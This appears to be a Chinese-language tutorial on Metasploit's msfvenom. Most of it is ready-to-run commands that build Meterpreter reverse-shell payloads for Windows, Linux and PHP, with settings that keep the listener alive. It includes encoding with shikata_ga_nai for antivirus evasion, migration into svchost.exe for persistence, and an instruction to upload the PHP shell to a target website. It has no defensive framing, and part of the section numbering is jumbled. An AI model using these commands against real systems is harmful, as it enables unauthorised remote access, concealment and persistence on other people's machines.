Metasploit msfvenom

一、 msfvenom简介

　　msfvenom是msf payload和msf encode的结合体，于2015年6月8日取代了msf payload和msf encode。在此之后，metasploit-framework下面的msf payload（载荷生成器）,msf encoder（编码器），msfcli（监听接口）都不在支持。

二、msf venom参数

-p,  -payload <payload>指定需要使用的payload（攻击载荷）。也可以使用自定义的payload，几乎是支持全平台的
-l, -list [module_type] 列出指定模块的所有可用资源。模块类型包括：payloads,encoders,nops,all
-n，-nopsled <length>为payload预先指定一个NOP滑动长度
-f, -format <format>指定输出格式（使用--help-formats来获取msf支持的输出格式列表）
-e, -encoder[encoder]指定需要使用的encoder（编码器），如果即没有-e选择也没用-b选项，则输出raw payload-a, -arch <architecture> 指定payload的目标架构，例如x86|x64|x86_64-plaform <platform>指定payload的目标平台
-s, -space <length>设定有效攻击荷载的最大长度，就是文件大小
-b, -bad-chars <list>设定规避字符集，指定需要过滤的坏字符例如：不使用'x0f'、'\x00'；-i, -iterations <count>指定payload的编码次数
-c, -add-code <path> 指定一个自定义的可执行文件为模板，并将payload嵌入其中
-k, -keep保护模板程序的动作，注入的payload作为一个新的进程运行
-payload-options列举payload的标准选项
-o, -out <path> 指定创建好的payload的存放位置
-v, -var-name <name>指定一个自定义的变量，以确定输出格式
-shellest 最小化生成payload
-h, -help查看帮助选项
-help-formats查看msf支持的输出格式列表

查看所有payload

 查看所有编码器

root@kali:~/桌面# msfvenom --list encoders

# 评级最高的两个encoder为cmd/powershell_base64和x86/shikata_ga_nai，其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器

三、监听参数

防止假session
在实战中，经常会遇到假session或者刚连接就断开的情况，这里补充一些监听参数，防止假死与假session。
msf exploit(multi/handler) > set ExitOnSession false   
//可以在接收到seesion后继续监听端口，保持侦听。
防止session意外退出
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  
//默认情况下，如果一个会话将在5分钟（300秒）没有任何活动，那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 
//默认情况下，一个星期（604800秒）后，会话将被强制关闭,修改为0可永久不会被关闭

四、handler后台持续监听

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST 192.168.8.124
set LPORT 1122
set ExitOnSession false
exploit -j -z


msf exploit(multi/handler) > exploit -j -z
使用exploit -j -z可在后台持续监听,-j为后台任务，-z为持续监听，使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
还有种比较快捷的建立监听的方式，在msf下直接执行：
msf5 > handler -H 192.168.244.128 -P 1122 -p windows/meterpreter/reverse_tcp

 

五、payload的可持续化

一般来说使用msfvenom生成的payload会单独开启一个进程，这种进程很容易被发现和关闭，在后期想做持久化的时候只能再使用migrate进行。 其实在生成payload时可直接使用如下命令，生成的payload会直接注入到指定进程中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1122 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe 

生成的shell程序执行后会启动两个进程shell.exe和svchost.exe，关闭其中一个不会影响会话状态。 在上面的生成payload参数中： （1）PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到svchost.exe进程，自己测试的时候不建议到这个进程而是其他的持久进程。 （2）使用-p指定使用的攻击载荷模块，使用-e指定使用x86/shikata_ga_nai编码器，使用-f选项告诉MSF编码器输出格式为exe，-o选项指定输出的文件名为payload.exe，保存在根目录下。

 把生成的shell.exe(此文件不免杀) 复制到windows 2003靶机中双击运行

 

 

六、各平台payload生成

6.1 Linux

（1）设置监听

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options

msf5 exploit(multi/handler) > set lhost 192.168.244.128
lhost => 192.168.244.128
msf5 exploit(multi/handler) > set lport 1123
lport => 1123
msf5 exploit(multi/handler) > run

（2）生成Linux payload

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1123 -f elf > shell.elf

 

（3）执行shell.elf

root@kali:~# ls -larth shell.elf 
-rw-r--r-- 1 root root 250 6月  13 20:47 shell.elf
root@kali:~# chmod +x shell.elf 
root@kali:~# ./shell.elf

msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.244.128
lhost => 192.168.244.128
msf5 exploit(multi/handler) > set lport 1124
lport => 1124
msf5 exploit(multi/handler) > run

（2）生成payload

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1124 -f raw > shell.php

(3)把shell.php上传至目标网站
